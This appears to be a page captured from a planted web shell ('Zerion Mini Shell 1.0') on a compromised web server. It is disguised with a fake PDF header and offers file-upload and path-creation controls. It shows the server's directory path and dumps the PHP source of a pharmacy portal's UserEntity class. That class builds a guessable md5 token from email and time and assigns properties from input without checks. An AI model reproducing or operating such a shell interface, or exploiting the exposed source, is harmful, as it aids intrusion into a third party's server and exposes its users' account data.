%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/Basis/src/Basis/Entity/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/Basis/src/Basis/Entity/UserEntity.php

<?php

namespace Basis\Entity;

use ZfcRbac\Identity\IdentityInterface;

class UserEntity
    implements IdentityInterface
{

    protected $id;
    protected $entityid;
    protected $name;
    protected $surname;
//    protected $username;
    protected $email;
    protected $role;
    protected $password;
    protected $hash;
    protected $phone;
    protected $salutation;
    protected $title;
    protected $active;
    protected $created_at;
    protected $remind;
    protected $forgotten;
    protected $newsletter;
    protected $home;
    protected $external_customer_id;
    protected $verify_mail;

    public function __get($property)
    {
        return $this->$property;
    }

    public function __set($property, $value)
    {
        $this->$property = $value;
    }

    public function existProperty($property)
    {
        return property_exists($this, $property);
    }

    public function exchangeArray(array $array)
    {
        foreach(array_keys($array) as $column)
        {
            $this->$column = $array[$column];
        }
    }

    public function getArrayCopy()
    {
        return get_object_vars($this);
    }

    public function generateHash()
    {
        $this->hash = md5($this->entityid . $this->email . time());
    }
    
    public function getRoles()
    {
        return array($this->role);
    }
}

Zerion Mini Shell 1.0